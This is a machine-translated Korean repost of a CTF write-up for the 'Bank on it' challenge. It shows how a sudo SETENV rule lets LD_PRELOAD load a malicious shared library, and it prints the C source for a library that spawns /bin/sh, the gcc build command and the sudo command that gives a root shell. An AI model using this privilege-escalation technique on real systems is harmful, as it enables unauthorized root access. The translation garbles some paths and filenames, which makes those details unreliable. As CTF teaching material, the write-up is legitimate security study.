그것에 은행
상자에 로그인하려면 찾은
ssh
키here를 사용하십시오.NahamConCTF
를 하면서 정말 즐거웠습니다. 참여해 주신 모든 분들께 감사드립니다. 이것은 Bank on it 챌린지를 위한 작은 글입니다.요약:
현재 사용자는 sudo를 사용하여
/opt/banking/bank
바이너리를 실행할 수 있지만 SETENV
옵션이 활성화되어 세션을 시작하기 때문에 sudo
를 사용할 때 환경 변수를 유지하는 데 도움이 됩니다. 이를 통해 LD_PRELOAD
를 사용하여 악성 기능을 수행하고 쉘을 루트로 가져옵니다.신용: https://sumit-ghosh.com/articles/hijacking-library-functions-code-injection-ld-preload/
사용자가
sudo -l
를 사용할 수 있는 루트로 무엇이든 실행할 수 있는지 알아보십시오. 암호 없이 루트로 /op/banking/bank
바이너리를 실행할 수 있는 것으로 보입니다. 나중에 편리하게 사용할 수 있는 SETENV
도 표시됩니다.$ sudo -l
Matching Defaults entries for gus on banking-on-it-88199b44846b0f72-65bbbf7d6c-82b95:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User gus may run the following commands on banking-on-it-88199b44846b0f72-65bbbf7d6c-82b95:
(root) SETENV: NOPASSWD: /opt/banking/bank
SETENV
는 위험합니다. sudo
를 사용할 때 환경 변수를 유지할 수 있습니다.SETENV
가 sudoers
파일에 지정되어 있으므로 이를 사용하여 공유 라이브러리가 먼저 사용되는 위치를 하이재킹할 수 있는 환경 변수를 로드할 수 있습니다. 이것이 작동하는지 확인하고 _init
기능, 추가 정보here를 하이재킹할 것입니다.#include <unistd.h>
void _init() {
char *argv[] = {"/bin/sh", 0};
execve(argv[0], &argv[0], NULL);
}
이름을
shlib.c
로 지정하고 이제 다음과 같이 컴파일합니다.gcc -shared -fpic -nostartfiles shlib.c -o [shlib.so](http://shlib.so)
이제 바이너리에서
[shlib.so](http://shlib.so)
함수를 하이재킹하는 데 사용할 _init
파일이 있어야 합니다.이제 사용하자
LD_PRELOAD
LD_PRELOAD
트릭은 Unix 시스템의 동적 링커가 제공하는 기능을 악용하여 특정 공유 라이브러리가 제공하는 기호를 다른 라이브러리보다 먼저 바인딩하도록 링커에 지시할 수 있습니다.http://www.goldsborough.me/c/low-level/kernel/2016/08/29/16-48-53-the_-ld_preload-_trick/
LD_PRELOAD
를 공유 객체의 경로로 설정하면 해당 파일이 다른 라이브러리(C 런타임 포함, libc.so )보다 먼저 로드됩니다.https://stackoverflow.com/questions/426230/what-is-the-ld-preload-trick
다음과 같이 바이너리를 실행해 봅시다.
sudo LD_PRELOAD=/home/gus/shlib.so /opt/banking/bank
이제 우리는 루트입니다!
Reference
이 문제에 관하여(그것에 은행), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://dev.to/pirateducky/bank-on-it-2nbd텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)